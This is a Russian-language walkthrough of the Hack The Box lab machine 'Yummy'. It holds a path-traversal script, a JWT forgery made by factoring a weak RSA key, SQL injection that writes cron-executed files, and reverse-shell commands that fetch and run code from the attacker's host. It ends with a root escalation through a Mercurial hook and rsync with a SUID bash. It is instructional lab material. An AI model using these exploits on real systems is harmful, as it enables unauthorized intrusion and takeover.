HTB Yummy
Атакуем веб-сервер и эксплуатируем слабую криптографию
Наша цель — получение прав суперпользователя на машине Yummy с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.36 yummy.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 9.6p1;
- 80 — веб‑сервер Caddy (как показал Nmap).
Первым делом осмотримся на сайте.

Точка входа
На главной странице есть форма бронирования стола.

Заполняем все поля формы случайными данными и получаем ответ, что запрос обработан.

Зарегистрируемся на сайте, указав email, на который был забронирован стол. После авторизации на сайте можно найти запись о бронировании.

На сайте есть возможность сохранить запись в формате iCalendar. При этом файл скачивается с сервера, но через обработчик на эндпоинте /
. Это можно увидеть в Burp History.

Точка опоры
LFI
Попробуем выполнить обход каталога и получить содержимое файла /
. Для этого активируем перехватчик в Burp Proxy и выполняем экспорт на сайте. Первый запрос в Burp Proxy пропускаем, а во втором изменим путь к файлу.


В итоге скачивается указанный файл /
, а значит, есть уязвимость обхода каталога.

Эксплуатация уязвимости усложняется тем, что в ответе сервера на первый запрос есть одноразовый идентификатор, который отправляется во втором запросе. А значит, для получения любого файла нужно выполнять два запроса.
Для удобства напишем на Python простенький скрипт, который будет логиниться на сайте и получать сессионный JWT, затем вторым запросом получать одноразовый идентификатор и уже третьим — указанный файл.
import requestsimport jsonimport sysdef get_access_token(): url = "http://yummy.htb/login" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", } payload = { "email": "ralf@ralf.com", "password": "<PASSWORD>" } try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: data = response.json() return data.get("access_token") else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Nonedef get_session_token(access_token): url = "http://yummy.htb/reminder/21" headers = { "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", "Cookie": "X-AUTH-Token=" + access_token } try: response = requests.get(url, headers=headers, allow_redirects=False) if response.status_code == 302: set_cookie = response.headers.get("Set-Cookie") if set_cookie: for cookie in set_cookie.split(";"): if cookie.strip().startswith("session="): return cookie.strip().split("=", 1)[1] else: print("Header Set-Cookie invalid") return None else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Nonedef get_export_file(access_token, session_token, filename): url = "http://yummy.htb/export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e" + filename headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36", "Cookie": "X-AUTH-Token=" + access_token + "; session=" + session_token } try: response = requests.get(url, headers=headers) if response.status_code == 200: return response.text else: print(f"Error {response.status_code}") return None except requests.RequestException as e: print(f"Error: {e}") return Noneaccess_token = get_access_token()session_token = get_session_token(access_token)text = get_export_file(access_token, session_token, sys.argv[1])print(text)

Узнать место расположения исходного кода через /
не вышло, поэтому просто перебираем интересные системные файлы. Так доходим до планировщика задач cron. Находим три скрипта, которые обязательно нужно изучить.

В /
происходит переход в каталог /
, где удаляется старый backupapp.
и создается новый, содержащий каталог /
.

В /
есть учетные данные для подключения к MySQL.

Куда сложнее скрипт /
. Изучив его, отмечаем, что если существует файл /
, то скрипт получит имя файла по маске /
и выполнит файл в bash
.

Broken Access
Через браузер скачиваем файл /
, распаковываем и переходим к анализу исходного кода. Начинаем с файла app.
. В строках 20–26 расположен конфиг для подключения к базе данных. Учетные данные совпадают с теми, что были получены из скрипта table_cleanup.
.

С 32-й строки описан обработчик для эндпоинта /
. Строка 51 раскрывает параметры для формирования JWT.

Также файл раскрывает эндпоинт /
(строка 266). Обработчик работает с двумя параметрами запроса s
и o
(строки 280–283). При этом параметр o
без какой‑либо фильтрации используется в SQL-запросе к базе данных (строки 285–287).

Доступ к странице /
можно получить только с ролью administrator
, поэтому попробуем подделать JWT. Ключи для JWT формируются в файле config/
.

Скрипт генерирует пару ключей RSA. Сначала создаются два случайных простых числа, которые используются для вычисления числа n
. Далее вычисляются функции Эйлера и с использованием открытой экспоненты e
создается приватный ключ. Основные параметры для создания ключей — это q
, n
, e
и p
. Параметр e
имеет стандартное значение 65 537, а значение n
можно получить из JWT.

В данном алгоритме уязвим параметр q
, который генерируется как случайное простое число в диапазоне от 219 до 220 с помощью функции sympy.
. Однако этот диапазон слишком мал, что позволяет просто перебрать все возможные значения q
. Зная n
и q
, можно просто вычислить p
напрямую. Таким образом раскрываются все параметры, а значит, и сам закрытый ключ.
Следующий скрипт определяет параметры, декодирует JWT, изменяет в нем роль и кодирует обратно (значения токена и n
сокращены).
from Crypto.PublicKey import RSAimport sympyimport jwtoriginal_jwt = "eyJhb...indORI"n = 697...1241e = 65537p, q = list(sympy.factorint(n).keys())phi_n = (p - 1) * (q - 1)d = pow(e, -1, phi_n)key = RSA.construct((n, e, d))signing_key = key.export_key()decoded_payload = jwt.decode(original_jwt, signing_key, algorithms=["RS256"], options={"verify_signature": False})decoded_payload['role'] = 'administrator'new_jwt = jwt.encode(decoded_payload, signing_key, algorithm='RS256')print(new_jwt)
В настройках Burp Proxy ставим автозамену старого JWT измененным. После этого переходим к странице /
и получаем административные данные.


SQL Injection
Отправим запрос Search by email и просмотрим его в Burp History. На сервер отправляется как раз тот запрос с уязвимым к SQL-инъекции параметром o
.

Попробуем добавить к значению ASC нагрузку ;
. Сервер обработал запрос и не вернул никаких ошибок.

Теперь определим, выполняется ли добавленный SQL-запрос. Будем использовать задержку пять секунд, для чего применим нагрузку ;
. В правом нижнем углу Burp Repeater можно видеть время ответа сервера. Оно превышает пять секунд, а значит, нагрузка отработала.

Попробуем записать что‑нибудь в файл на сервере. Дважды выполняем запрос с такой нагрузкой:
select+version()+into+outfile+"/tmp/test.txt";
Во втором ответе получаем ошибку: файл уже существует.

У нас появилась возможность записи файлов на сервере, а значит, вспомним про задачи в cron. Так, мы можем записать /
, что приведет к выполнению файла /
, в который мы запишем команду curl+10.
. Эта команда загрузит с нашего веб‑сервера и выполнит реверс‑шелл bash
. Открываем листенер (pwncat-cs
) и делаем два запроса со следующими нагрузками.
select+123+into+outfile+"/data/scripts/dbstatus.json";

select+"curl+10.10.16.59:8000/rs.sh|bash"+into+outfile+"/data/scripts/fixer-vqwe";

Спустя некоторое время с нашего веб‑сервера скачивается реверс‑шелл, а в окне листенера появляется сессия в контексте службы MySQL
.


Продвижение
Пользователь www-data
Вернемся к задачам Cron и обратим внимание, что скрипт app_backup.
выполняется от имени пользователя www-data
, то есть его запускает веб‑сервер.

Поднимаем второй листенер (pwncat-cs
) и записываем реверс‑шелл в файл /
. Почти мгновенно получаем вторую сессию от имени www-data
.
mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
echo 'bash -i >& /dev/tcp/10.10.16.59/5432 0>&1' > /data/scripts/app_backup.sh

Пользователь qa
У нас есть сессия в контексте веб‑сервера, так что сразу поищем пароли в каталоге с сайтами.
cd /var/www-data/app-qatesting
grep -iR password ./

В файле ./.
есть слово password, но, так как файл не текстовый, строка не может быть отображена. Выводим строки из этого файла командой strings
и получаем два пароля в открытом виде.
strings ./.hg/store/data/app.py.i

Логинимся от имени пользователя qa
и получаем первый флаг.

Пользователь dev
Первым делом командой sudo
проверяем файл sudoers и узнаём, что пользователь qa
может выполнить команду /
от имени пользователя dev
.

Команда hg
характерна для Mercurial — системы контроля версий, похожей на Git. Как и Git, Mercurial может использовать хуки, а значит, мы можем зарегистрировать хук и выполнить произвольный скрипт в контексте пользователя dev
. Первым делом запустим листенер (pwncat
) и сделаем скрипт /
с реверс‑шеллом, который будем выполнять через хук.
#!/bin/bashbash -i >& /dev/tcp/10.10.16.59/4321 0>&1
Теперь создадим репозиторий Mercurial.
mkdir /tmp/hg
cd /tmp/hg
hg init
Скопируем файл с настройками Mercurial из домашнего каталога пользователя в созданный репозиторий. Затем добавим в него блок hooks
.
cp /home/qa/.hgrc /tmp/hg/.hg/hgrc

[hooks]
pre-pull = /tmp/rs.sh

Теперь выполним команду pull
от имени пользователя dev
и получим сессию в pwncat
.
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

Локальное повышение привилегий
Проверяем настройки sudoers для нового пользователя. Пользователь dev
может выполнить вот такую команду в привилегированном контексте:
/usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

Rsync — это инструмент для оптимальной синхронизации файлов и каталогов. В нашей команде используется параметр -a
, который сохранит атрибуты файлов при копировании между каталогами /
и /
. Значит, мы можем поместить в каталог /
файл командной оболочки Bash, назначить ему S-бит и скопировать любой файл с помощью Rsync, добавив параметр --chown
.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Добавить параметр мы можем после каталога /
, так как в маске дальше идет звездочка. В результате у нас получится команда, разрешенная для выполнения через sudo.
cp /bin/bash ~/app-production/bash
chmod u+s ~/app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/bash -p

Машина захвачена!